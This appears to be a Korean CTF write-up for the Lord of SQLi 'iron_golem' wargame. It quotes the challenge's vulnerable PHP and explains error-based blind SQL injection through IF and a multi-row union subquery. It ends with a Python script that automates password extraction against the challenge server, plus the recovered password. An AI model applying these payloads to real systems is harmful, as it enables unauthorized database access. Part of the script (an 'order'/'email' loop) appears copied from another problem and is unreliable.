Error-based SQL Injection
찾아보기union
에 관해 찾아보기if
절 사용법 찾아보기<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
문제의 소스 코드를 보면 블라인드 인젝션 공격을 수행해야 한다는 것을 알 수 있다. 하지만 기존에 참/거짓을 판별할 때 이용하던 if($result['id']) echo "<h2>Hello {$result[id]}";
쿼리 문이 존재하지 않는다.
하지만 그 대신 처음 보는 쿼리 문이 한가지 존재한다. 바로 if(mysqli_error($db)) exit(mysqli_error($db));
이것인데 쿼리문에 에러가 발생하면 DB에서 탈출하고 오류를 뿜어주는 쿼리문이다.
이 새로운 부분을 이용하여 참/거짓에 따라 오류의 반응을 보고 판단하는 기법인 Error-based SQL Injection
을 시도 할 수 있다.
Error-based SQL Injection
은 참일 때와 거짓일 때 상황에 따라 오류가 출력되는 형태를 이용하여 참/거짓 판단을 하는 형태의 공격이다.
기존 블라인드 인젝션에서는 공격 후 <h2>hello admin
와 같이 쿼리문에서 오는 반응을 토대로 참/거짓 판단이 가능했다.
이번 문제에서 내가 보낸 쿼리에 반응을 보이는 부분은 에러를 출력하는 부분 한 군데 있다.
MySQL
에 존재하는 if
문을 사용하여 참일시 쿼리에 정상 구문을 삽입해 페이지를 정상 작동시키고 거짓일시 오류 구문을 삽입하여 페이지의 오류 페이지를 띄우는 방식으로 참/거짓 판단이 가능할 거 같다.
그렇다면 오류를 강제로 띄우려면 무슨 구문을 입력해야 하는지
생각해볼 필요가 있다.
힌트 2번을 풀어 설명하면 서브 쿼리는 쿼리문 안에 들어가 있는 또 다른 쿼리문을 부르는 말이다. 이러한 서브 쿼리도 쿼리문이기때문에 결과가 나오는데 이 결과는 무조건 1개의 레코드만을 포함하고 있어야 한다.
만약 서브쿼리에서 2개 이상의 레코드 반환 시
[21000][1242] Subquery returns more than 1 row
이러한 오류가 발생하게 된다. 앞으로 많이 볼 오류니까 친숙해지자.
그럼 또 문제가 생긴다. 서브 쿼리에서 레코드를 2개 이상 출력 해야 하는 것은 알겠는데 도대체 어떻게 해야지 서브쿼리에서 2개 이상의 레코드를 반환하는지 말이다. union
을 사용하면 된다.
union
은 2개 이상의 select
문의 결과를 합집합 느낌으로 한 개의 테이블로 반환할 때 사용한다. (select는 중복 거르고 select all은 중복을 거르지 않음)
select 1
을 하면 1이라는 컬럼에 1이라는 값을 가진 레코드가 한 개 반환된다.
이를 응용하면 드디어 문제를 풀 수 있다.
솔직히 문제 풀기 전에 위에 말했던 서브쿼리나 if
절을 개인적으로 가지고 있는 db
에 연습을 많이 해봐서 느낌을 아는 게 매우 중요하다. 안 그러면 다음 문제에서 다시 고생해야 한다.
어쨌든 위에서 말한 것을 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.
# -*- coding: utf-8 -*-
import urllib.request
answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"5u84grpvs4dd5tsgg6st4q4kse"
url_start = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"+'?'
pw_len = 0
word_len = 0
while 1:
pw_len += 1
url_len = url_start + "pw=%27||id=%27admin%27%26%26if(length(pw)={},1,(select%201%20union%20select%202))%23".format(str(pw_len))
req_len = urllib.request.Request(url_len) # 엔터 치기전 상태
req_len.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_len.add_header("Cookie", session_id)
res_len = urllib.request.urlopen(req_len) # 엔터누른 효과
data_len = res_len.read().decode('utf-8') # 본문만 가져오기
if data_len.find("<hr>query : ") != -1:
print(pw_len)
break
while 1:
word_len += 1
url_word = url_start + "order=(select%20(power(10,100000000))%20where%20(id=%27admin%27%20and%20length(mid(email,1,1))={}))".format(str(word_len))
print(word_len)
req_word = urllib.request.Request(url_word) # 엔터 치기전 상태
req_word.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_word.add_header("Cookie", session_id)
res_word = urllib.request.urlopen(req_word) # 엔터누른 효과
data_word = res_word.read().decode('utf-8') # 본문만 가져오기
if data_word.find("<hr>query : ") != -1:
print(word_len)
break
password_len = int(pw_len/word_len)
print(print('비밀번호 글자 수 : {}\n'.format(password_len)))
for i in range(1, password_len+1):
for j in range(27, 123):
url_pw = url_start+"pw=%27||id=%27admin%27%26%26if(ord(mid(pw,{},1))={},1,(select%201%20union%20select%202))%23".format(str(i), str(j))
print(url_pw)
req_pw = urllib.request.Request(url_pw) # 엔터 치기전 상태
req_pw.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_pw.add_header("Cookie", session_id)
res_pw = urllib.request.urlopen(req_pw) # 엔터누른 효과
data_pw = res_pw.read().decode('utf-8') # 본문만 가져오기
if data_pw.find("<hr>query : ") != -1:
print("%c" % (chr(j)))
answer += chr(j)
break
print(answer)
스크립트를 실행해보면 비밀번호는 06b5a6c16e8830475f983cc3a825ee9a
이 나온다.
아마 길어서 오래 걸릴거다.
나중에 시간나면 이진탐색으로 업그레이드 하겠지.